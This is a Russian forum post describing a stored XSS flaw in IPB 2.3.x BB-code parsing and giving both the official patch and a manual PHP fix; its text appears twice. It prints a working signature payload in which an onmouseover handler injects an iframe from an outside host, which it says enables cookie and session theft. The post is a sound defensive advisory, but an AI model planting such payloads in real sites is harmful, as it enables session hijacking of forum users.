E-body
C.D.\Zennoposter проекты на заказ
- Регистрация
- 6 Сен 2007
- Сообщения
- 998
- Реакции
- 344
- Автор темы
- #1
Недавно было опубликовано о возможности произведения активной XSS на форумах IPB 2.3.x > , изза неправильной работы парсера BB кодов.
Пример злоумышленного кода в подписи юзера:
Возможность увести куки, сессии, перенаправить пользователя на другую страницу - выполнение явяскрипт на странице.
Исправление!
Если у вас на форуме не изменен файл ../sources/classes/bbcode/class_bbcode_core.php то просто замените пофиксенным с офф сайта community.invisionpower.com/topic/306221-ipboard-236-and-305-security-update/page__pid__1922743__st__0&#entry1922743
Исправления в ручную (в том случае когда файл был ранее изменен например изза модов типо HIDE или другое)
Открыть ../sources/classes/bbcode/class_bbcode_core.php
Найти (примерно 777 строка) :
Добавить после код:
Вот и весь фикс.
п.с. в ипб 3 версии скорее также исправление, поскольку не пользуюсь то решил не смешивать все в одной теме. Отдельное спасибо cyber-city форуму за обсуждение баги
Пример злоумышленного кода в подписи юзера:
PHP:
[color="#EEF2F7"][acronym=test1[acronym=test2 onmouseover=document.write("\x3Ciframe\x20src=http://****.freehostia.com/\x20frameborder=0\x20width=1024\x20height=3186\x20scrolling=no\x3E\x3C/iframe\x3E");document.close(); ]_]___________________________________________________________________________[/acronym]_[/acronym][/color]
Возможность увести куки, сессии, перенаправить пользователя на другую страницу - выполнение явяскрипт на странице.
Исправление!
Если у вас на форуме не изменен файл ../sources/classes/bbcode/class_bbcode_core.php то просто замените пофиксенным с офф сайта community.invisionpower.com/topic/306221-ipboard-236-and-305-security-update/page__pid__1922743__st__0&#entry1922743
Исправления в ручную (в том случае когда файл был ранее изменен например изза модов типо HIDE или другое)
Открыть ../sources/classes/bbcode/class_bbcode_core.php
Найти (примерно 777 строка) :
PHP:
# XSS Check: Bug ID: 980
if ( $row['bbcode_tag'] == 'post' OR $row['bbcode_tag'] == 'topic' OR $row['bbcode_tag'] == 'snapback' )
{
$match[ $_option ][$i] = intval( $match[ $_option ][$i] );
}
Добавить после код:
PHP:
# XSS acronym
if ( $row['bbcode_tag'] == 'acronym' )
{
$match[ $_option ][$i] = preg_replace( "/s((\\\|\)*)t((\\\|\)*)y((\\\|\)*)l((\\\|\)*)e((\\\|\)*)=/is", "st yle=", $match[ $_option ][$i] );
$match[ $_option ][$i] = str_replace( array( ':', ';' ), '', $match[ $_option ][$i] );
$match[ $_content ][$i] = preg_replace( "/s((\\\|\)*)t((\\\|\)*)y((\\\|\)*)l((\\\|\)*)e((\\\|\)*)=/is", "st yle=", $match[ $_content ][$i] );
$match[ $_content ][$i] = str_replace( array( ':', ';' ), '', $match[ $_content ][$i] );
}
Вот и весь фикс.
п.с. в ипб 3 версии скорее также исправление, поскольку не пользуюсь то решил не смешивать все в одной теме. Отдельное спасибо cyber-city форуму за обсуждение баги